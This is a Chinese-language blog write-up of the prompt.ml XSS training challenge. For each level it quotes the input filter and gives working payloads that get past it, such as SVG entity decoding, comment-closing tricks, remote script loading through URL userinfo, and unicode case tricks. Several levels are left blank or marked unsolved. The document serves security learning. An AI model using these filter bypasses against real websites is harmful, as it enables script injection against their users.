prompt(1) to win

2018/09/18 安全 xss 6765 words views

xss 的在线练习,挺不错的,整个在线网站看起来也很可以。

思考一题多解,以及最优解。

规则

1、成功执行prompt(1).
2、payload不需要用户交互(成功会显示you won)
3、payload必须对下述浏览器有效:
Chrome(最新版) - Firefox(最新版) - IE10 及以上版本(或者IE10兼容模式)
4、每个级别至少给出两种浏览器的答案
5、字符越少越好

Level 0

payload:

"><script>prompt(1)</script><"

"><noembed><!--</noembed><img src=1 onerror=prompt(1)>--><"

Level 1

这里进行了一点过滤

// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;

payload:

<svg onload=prompt(1) 

<img src="" onerror=prompt(1) 

后面要有一个空格 因为 html 会进行自动闭合

关于 <svg>参考这篇

Level 2

//                      v-- frowny face
input = input.replace(/[=(]/g, '');

Payload

<svg><script>prompt&#40;1)</script>

由源代码可知,这里过滤了=(,所以这里我们只要使用(的字符实体就行了,但是千万要注意这里前面需要加<svg>,因为只有这样才能保证&#40;可以被提前解析成 ( 然后与 <script></script>结合,构成可执行的代码。

这里的svg不能去掉,由于xml编码特性。在SVG向量里面的script元素(或者其他CDATA元素 ),会先进行xml解析。因此&#x28(十六进制)或者&#40(十进制)或者&lpar;(html实体编码)会被还原成(。

Level 3

payload

--!><script>prompt(1)</script>

源码中显示到 -> 被过滤,但是这题需要先闭合注释框,2012年后,html标签可以用 --!>闭合.

Level 4

if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    }

这题需要绕过限制访问其他域里的 js 文件,decodeURIComponent() 这个函数可对encodeURIComponent() 函数编码的 URI 进行解码,这里可以使用形如 http://prompt.ml%2f@attacker.com 的链接骗过浏览器,比如 http://baidu.com%2f@pwdme.cc/ 就可以访问 pwdme.cc,再用 encodeURIComponent() 编码后的 / 拼接在链接中就可以执行代码,最终的payload为 //prompt.ml%2f@pwdme.cc/1.js

这里我的payload是:

//prompt.ml%2f@47.104.137.146/level4.js

直接将上述地址复制到浏览器的地址栏会得到js代码,但还是不行,我们来看看参考答案的解释

While the first part of the solution for this level is easy to find, using protocol relative URLs and incomplete HTTP Basic Authentication, the Unicode trick was the hard part. As can be seen, the ways how browsers treat Unicode in URLs and especially domains is quirky and offers a large playground for attacks and obfuscation.

来自:prompt.ml

还是没有明白我这里到底哪里不行,按道理说我是绕过了的,但是就是没有回显Win.

参考:
http://pwdme.cc/2016/12/06/prompt-ml-xss/
https://hellohxk.com/blog/prompt-1-writeup/

Level 5

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');
    
    return '<input value="' + input + '" type="text">';
}

1、首先是过滤,把onxxxx=这样的替换为_,这里用一个回车绕过。 2、其次是第二点,就是后面的type不可以覆盖前面的,所以可以把type=image。

payload

"type=image src onerror
=prompt(1) "

Level 6

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}        

首先看题目给的例子

http://httpbin.org/post#{"name":"Matt"}

HTML source:
<form action="http://httpbin.org/post" method="post"><input name="name" value="Matt"></form>

**由于存在子级tag, action 将会优先指向name为action的子tag. **

例子:

<form action="javascript:prompt(1)" method="post"></input></form>
<script>
    alert(document.forms[0].action);      
</script>  

正常弹出

javascript:prompt(1)

下面我们修改下,加上一个 input 标签

<form action="javascript:prompt(1)" method="post"><input name="action" value=1></input></form>
<script>
    alert(document.forms[0].action);      
</script> 

弹出

[object HTMLInputElement]

可以看到返回内容被覆盖了

通过上面的例子,我们构造相应的 payload

javascript:prompt(1)#{"action":1}

Level 7

主要的思路就是利用 js 注释符绕过

payload

"><script>/*#*/prompt(/*#*/1)/*#*/</script>

HTML source:
<p class="comment" title=""><script>/*"></p>
<p class="comment" title="*/prompt(/*"></p>
<p class="comment" title="*/1)/*"></p>
<p class="comment" title="*/</script>"></p>

SVG文件中可以通过任意元素的onload事件执行Javascript,且不需要用户交互

"><svg a=#"onload='/*#*/prompt(1)'

HTML source:
<p class="comment" title=""><svg a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>

Level 8

  • 是U+2028,是Unicode中的行分隔符。
  • 是U+2029,是Unicode中的段落分隔符。 而且–>在js中可以当注释使用

我们要构造的答案是这样的

<script>
// console.log("
prompt(1)
-->");
</script>

payload

'\u2028prompt(1)\u2028-->'


按照上面的直接作为输入的话不能直接绕过,要将 \u2028 转换成可见的乱码字符才能绕过。

这里不知道为什么直接在 console 中无法转换。

真正的payload是下面这个


prompt(1)
-->

Level 9

简单的正则过滤,由<(开始的后面加任意字母的时候,中间都加一个_。

这里无法注入html的标签,但是toUppercase支持unicode字符,字符ſ经过函数toUpperCase()处理后,会变成ASCII码字符”S”。

js对大小写敏感,所以代码的引入需要通过外部环境。

所以这道题的payload为

<ſcript/ſrc=//⒕₨></ſcript>

src外部链接的引入需要用到 Level4 的 tricks。

Level A

payload

p'rompt(1)

Level B ⭐️

利用类型判断操作符进行js代码的执行。

payload

"(prompt(1))instanceof"
"(prompt(1))in"

Level C ⭐️

payload

parseInt("prompt",36); //1558153217


(1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41))
执行上述代码的回显结果是: prompt(1)

eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
eval() 函数黑魔法

下面这几种解法也可以
eval((1558153217).toString(36))(1)
eval(1558153217..toString(36))(1)
eval(630038579..toString(30))(1)
 
// Hexadecimal alternative (630038579 == 0x258da033):
eval(0x258da033.toString(30))(1)

for((i)in(self))eval(i)(1)
//遍历 self 里面的函数,但是不知道为啥我这里没有执行成功

Level D ⭐️

Level E ⭐️

Level F

payload

"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

HTML source
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>

参考

https://lorexxar.cn/2015/07/02/xss-p/
https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml
https://blog.csdn.net/qq_35078631/article/details/77073233
http://1person.me/deepXssPrompt1/

Search

    Table of Contents